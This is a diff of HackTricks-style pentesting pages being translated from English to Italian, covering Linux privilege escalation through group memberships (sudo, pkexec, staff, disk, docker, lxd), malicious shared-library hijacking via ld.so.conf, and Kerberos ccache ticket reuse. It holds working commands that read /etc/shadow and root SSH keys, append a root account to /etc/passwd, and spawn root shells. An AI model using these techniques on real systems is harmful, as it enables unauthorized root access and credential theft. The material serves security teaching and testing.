L'output seguente mostra la chiamata "chmod" che restituisce un errore perché è disabilitata nel profilo seccomp.
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Following output shows the “docker inspect” displaying the profile:
L'output seguente mostra il "docker inspect" che visualizza il profilo:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## What is Distroless
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
Un container distroless è un tipo di container che **contiene solo le dipendenze necessarie per eseguire un'applicazione specifica**, senza alcun software o strumento aggiuntivo che non sia richiesto. Questi container sono progettati per essere il più **leggeri** e **sicuri** possibile e mirano a **minimizzare la superficie di attacco** rimuovendo componenti non necessari.
Distroless containers are often used in **production environments where security and reliability are paramount**.
I container distroless sono spesso utilizzati in **ambienti di produzione dove la sicurezza e l'affidabilità sono fondamentali**.
Some **examples** of **distroless containers** are:
Alcuni **esempi** di **container distroless** sono:
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
- Forniti da **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Forniti da **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
L'obiettivo di armare un container distroless è essere in grado di **eseguire binari e payload arbitrari anche con le limitazioni** imposte da **distroless** (mancanza di binari comuni nel sistema) e anche protezioni comunemente trovate nei container come **sola lettura** o **nessuna esecuzione** in `/dev/shm`.
### Through memory
Coming at some point of 2023...
In arrivo a un certo punto del 2023...
### Via Existing binaries
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
\***\*[**In questo post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) si spiega che il binario **`openssl`** è frequentemente trovato in questi container, potenzialmente perché è **necessario\*\* dal software che verrà eseguito all'interno del container.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc
# Gruppi Interessanti - Linux Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups
## Gruppi Sudo/Admin
### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
### **PE - Metodo 1**
**A volte**, **per impostazione predefinita (o perché alcuni software ne hanno bisogno)** all'interno del file **/etc/sudoers** puoi trovare alcune di queste righe:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Questo significa che **qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
```
sudo su
```
### PE - Metodo 2
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo utilizzando `pkexec`.\
Questo perché tipicamente questi sono i gruppi all'interno della **politica polkit**. Questa politica identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux i gruppi **sudo** e **admin** appaiono.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
To **become root you can execute**:
Per **diventare root puoi eseguire**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
Se provi a eseguire **pkexec** e ricevi questo **errore**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Gruppo Wheel
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga:
```
%wheel ALL=(ALL:ALL) ALL
```
Questo significa che **qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
```
sudo su
```
## Gruppo Shadow
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Quindi, leggi il file e prova a **crackare alcuni hash**.
So, read the file and try to **crack some hashes**.
## Gruppo Staff
## Staff Group
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
**staff**: Consente agli utenti di aggiungere modifiche locali al sistema (`/usr/local`) senza necessitare di privilegi di root (nota che gli eseguibili in `/usr/local/bin` sono nella variabile PATH di qualsiasi utente e possono "sovrascrivere" gli eseguibili in `/bin` e `/usr/bin` con lo stesso nome). Confronta con il gruppo "adm", che è più legato al monitoraggio/sicurezza. [\[source\]](https://wiki.debian.org/SystemGroups)
Nelle distribuzioni debian, la variabile `$PATH` mostra che `/usr/local/` verrà eseguita con la massima priorità, sia che tu sia un utente privilegiato o meno.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Se riusciamo a dirottare alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root.
If we can hijack some programs in `/usr/local`, we can easy to get root.
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
Dirottare il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
or When a new ssh session login.
o Quando si effettua il login a una nuova sessione ssh.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
**Sfruttare**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -155,13 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## Gruppo Disco
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
Questo privilegio è quasi **equivalente all'accesso root** poiché puoi accedere a tutti i dati all'interno della macchina.
File:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -170,57 +141,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Tuttavia, se provi a **scrivere file di proprietà di root** (come `/etc/shadow` o `/etc/passwd`) riceverai un errore di "**Permesso negato**".
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
## Gruppo Video
Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il **`screen.raw`** file e selezionare come tipo di file **Raw image data**:
![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine (e seleziona quello che mostra meglio lo schermo):
![](<../../../images/image (317).png>)
## Root Group
## Gruppo Root
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi...
**Controlla quali file i membri root possono modificare**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Gruppo Docker
## Docker Group
You can **mount the root filesystem of the host machine to an instances volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
```bash
docker image #Get images from the docker service
@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?) puoi sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
{{#ref}}
../docker-security/
{{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
Se hai permessi di scrittura sul socket docker leggi [**questo post su come escalare i privilegi abusando del socket docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Group
## Gruppo lxc/lxd
{{#ref}}
./
{{#endref}}
## Adm Group
## Gruppo Adm
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
Di solito i **membri** del gruppo **`adm`** hanno permessi per **leggere i file di log** situati in _/var/log/_.\
Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sicuramente dare un **occhiata ai log**.
## Auth group
## Gruppo Auth
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
All'interno di OpenBSD il gruppo **auth** di solito può scrivere nelle cartelle _**/etc/skey**_ e _**/var/db/yubikey**_ se vengono utilizzate.\
Questi permessi possono essere abusati con il seguente exploit per **escalare i privilegi** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# lxd/lxc Group - Privilege escalation
# lxd/lxc Gruppo - Escalation dei privilegi
{{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
Se appartieni al gruppo _**lxd**_ **o** _**lxc**_, puoi diventare root
## Exploiting without internet
## Sfruttare senza internet
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
### Metodo 1
Puoi installare sulla tua macchina questo distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(segui le istruzioni del github):
```bash
sudo su
# Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
Carica i file **lxd.tar.xz** e **rootfs.squashfs**, aggiungi l'immagine al repository e crea un contenitore:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
> [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands
Finally you can execute the container and get root:
> Se trovi questo errore _**Errore: Nessun pool di archiviazione trovato. Si prega di creare un nuovo pool di archiviazione**_\
> Esegui **`lxd init`** e **ripeti** il blocco di comandi precedente
Infine puoi eseguire il contenitore e ottenere root:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Metodo 2
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
Crea un'immagine Alpine e avviala utilizzando il flag `security.privileged=true`, costringendo il container a interagire come root con il filesystem host.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}}
## Prepare the environment
## Preparare l'ambiente
In the following section you can find the code of the files we are going to use to prepare the environment
Nella sezione seguente puoi trovare il codice dei file che useremo per preparare l'ambiente
{{#tabs}}
{{#tab name="sharedvuln.c"}}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{{#endtab}}
{{#tab name="libcustom.h"}}
```c
#include <stdio.h>
void vuln_func();
```
{{#endtab}}
{{#tab name="libcustom.c"}}
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
puts("Hi");
}
```
{{#endtab}}
{{#endtabs}}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **Crea** quei file nella tua macchina nella stessa cartella
2. **Compila** la **libreria**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copia** `libcustom.so` in `/usr/lib`: `sudo cp libcustom.so /usr/lib` (privilegi di root)
4. **Compila** l'**eseguibile**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
### Controlla l'ambiente
Controlla che _libcustom.so_ venga **caricato** da _/usr/lib_ e che tu possa **eseguire** il binario.
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
In questo scenario supponiamo che **qualcuno abbia creato un'entrata vulnerabile** all'interno di un file in _/etc/ld.so.conf/_:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Download and compile** the following code inside that path:
La cartella vulnerabile è _/home/ubuntu/lib_ (dove abbiamo accesso in scrittura).\
**Scarica e compila** il seguente codice all'interno di quel percorso:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
Ora che abbiamo **creato la libreria maligna libcustom all'interno del percorso mal configurato**, dobbiamo aspettare un **riavvio** o che l'utente root esegua **`ldconfig`** (_nel caso tu possa eseguire questo binario come **sudo** o abbia il **bit suid** potrai eseguirlo tu stesso_).
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
Una volta che ciò è accaduto, **ricontrolla** da dove l'eseguibile `sharevuln` sta caricando la libreria `libcustom.so`:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
Come puoi vedere, **lo sta caricando da `/home/ubuntu/lib`** e se un utente lo esegue, verrà eseguita una shell:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -114,40 +99,35 @@ I'm the bad library
$ whoami
ubuntu
```
> [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
> Nota che in questo esempio non abbiamo elevato i privilegi, ma modificando i comandi eseguiti e **aspettando che l'utente root o un altro utente privilegiato esegua il binario vulnerabile** saremo in grado di elevare i privilegi.
### Other misconfigurations - Same vuln
### Altre misconfigurazioni - Stessa vulnerabilità
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
Nell'esempio precedente abbiamo simulato una misconfigurazione in cui un amministratore **ha impostato una cartella non privilegiata all'interno di un file di configurazione in `/etc/ld.so.conf.d/`**.\
Ma ci sono altre misconfigurazioni che possono causare la stessa vulnerabilità; se hai **permessi di scrittura** in qualche **file di configurazione** all'interno di `/etc/ld.so.conf.d`, nella cartella `/etc/ld.so.conf.d` o nel file `/etc/ld.so.conf` puoi configurare la stessa vulnerabilità e sfruttarla.
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
**Supponi di avere privilegi sudo su `ldconfig`**.\
Puoi indicare a `ldconfig` **da dove caricare i file di configurazione**, quindi possiamo approfittarne per far caricare a `ldconfig` cartelle arbitrarie.\
Quindi, creiamo i file e le cartelle necessari per caricare "/tmp":
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
And finally, lets load the path and check where is the binary loading the library from:
Ora, come indicato nel **precedente exploit**, **crea la libreria malevola all'interno di `/tmp`**.\
E infine, carichiamo il percorso e controlliamo da dove il binario sta caricando la libreria:
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
**Come puoi vedere, avere privilegi sudo su `ldconfig` ti consente di sfruttare la stessa vulnerabilità.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
Una macchina linux può essere presente anche all'interno di un ambiente Active Directory.
A linux machine can also be present inside an Active Directory environment.
Una macchina linux in un AD potrebbe **memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
## Enumerazione
## Enumeration
### Enumerazione AD da linux
### AD enumeration from linux
Se hai accesso a un AD in linux (o bash in Windows) puoi provare [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) per enumerare l'AD.
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
You can also check the following page to learn **other ways to enumerate AD from linux**:
Puoi anche controllare la seguente pagina per apprendere **altri modi per enumerare l'AD da linux**:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un **directory LDAP** completo con un MIT **Kerberos** Key Distribution Center per la gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix. Scopri di più in:
{{#ref}}
../freeipa-pentesting.md
{{#endref}}
## Playing with tickets
## Giocare con i ticket
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
In questa pagina troverai diversi luoghi dove potresti **trovare ticket kerberos all'interno di un host linux**, nella pagina seguente puoi apprendere come trasformare questi formati di ticket CCache in Kirbi (il formato che devi usare in Windows) e anche come eseguire un attacco PTT:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### CCACHE ticket reuse from /tmp
### Riutilizzo del ticket CCACHE da /tmp
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
I file CCACHE sono formati binari per **memorizzare le credenziali Kerberos** e sono tipicamente memorizzati con permessi 600 in `/tmp`. Questi file possono essere identificati dal loro **formato di nome, `krb5cc_%{uid}`,** correlato all'UID dell'utente. Per la verifica del ticket di autenticazione, la **variabile di ambiente `KRB5CCNAME`** deve essere impostata sul percorso del file ticket desiderato, consentendone il riutilizzo.
Elenca il ticket attualmente utilizzato per l'autenticazione con `env | grep KRB5CCNAME`. Il formato è portatile e il ticket può essere **riutilizzato impostando la variabile di ambiente** con `export KRB5CCNAME=/tmp/ticket.ccache`. Il formato del nome del ticket Kerberos è `krb5cc_%{uid}` dove uid è l'UID dell'utente.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### Riutilizzo del ticket CCACHE dalla keyring
### CCACHE ticket reuse from keyring
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
